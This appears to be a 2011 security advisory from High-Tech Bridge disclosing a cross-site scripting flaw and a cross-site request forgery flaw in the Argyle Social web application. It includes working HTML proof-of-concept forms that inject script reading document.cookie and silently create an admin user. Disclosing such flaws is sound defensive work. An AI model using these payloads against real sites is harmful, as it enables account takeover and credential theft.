Argyle Social Cross Site Request Forgery

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Vulnerability ID: HTB22979  
Reference: http://www.htbridge.ch/advisory/multiple_xss_cross_site_scripting_vulnerabilities_in_argyle_social.html  
Product: Argyle Social  
Vendor: Argyle Social ( http://argylesocial.com/ )   
Vulnerable Version: Current at 26/04/2011  
Vendor Notification: 28 April 2011   
Vulnerability Type: XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerabilities exists due to failure in the "settings-ajax/stream_filter_rules/create", "publish-ajax/efforts/create" scripts to properly sanitize user-supplied input in "terms", "title" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
1.  
  
<form action="http://app.argylesocial.com/settings-ajax/stream_filter_rules/create" method="post" name="main">  
<input type="hidden" name="stream_filter_rule" value='{"name":"rulename","id":"","flags":["flagged"],"networks":null,"user_id":"0","terms":"XSS\"><script>alert(document.cookie)</script>"}'>  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
2.  
  
<form action="http://app.argylesocial.com/publish-ajax/efforts/create" method="post" name="main">  
<input type="hidden" name="effort" value='{"effort_id":"","title":"ptitle2\"><script>alert(document.cookie)</script>","url":"http://www.google.com","short":null,"campaigns":[],"primary_campaign":null,"flights":[{"glass_id":"post0","flight_id":null,"mdk":false,"source":"web interface","content_type":"twitter-status","content":{"content":"hello"},"stime":"4/30/2011 23:10:00","networks":[{"id":"1","name":"My Name","type":"twitter","url":"","avatar":"http://a2.twimg.com/profile_images/1124040897/at-twitter_reasonably_small.png"}],"waparams":{"pname":null}}]}'>  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
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Vulnerability ID: HTB22978  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_argyle_social.html  
Product: Argyle Social  
Vendor: Argyle Social ( http://argylesocial.com/ )   
Vulnerable Version: Current at 26/04/2011  
Vendor Notification: 28 April 2011   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Risk level: Low   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
The vulnerability exists due to failure in the users creating script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
<form action="http://app.argylesocial.com/users/create/" method="post" name="main">  
<input type="hidden" name="name" value="test">  
<input type="hidden" name="email" value="[email protected]">  
<input type="hidden" name="code" value="usercode">  
<input type="hidden" name="role" value="admin">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
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